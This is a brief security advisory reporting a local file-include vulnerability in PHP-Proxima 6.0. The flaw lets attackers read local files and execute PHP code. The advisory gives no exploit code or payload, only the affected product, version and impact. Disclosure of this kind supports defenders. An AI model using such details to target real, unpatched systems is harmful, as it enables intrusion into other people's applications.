PHP-Proxima is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary local files from the vulnerable system in the context of the application and to execute malicious PHP code. Information obtained may aid in further attacks, including a remote compromise of the application.

PHP-Proxima version 6.0 is vulnerable to this issue; other versions may also be affected.
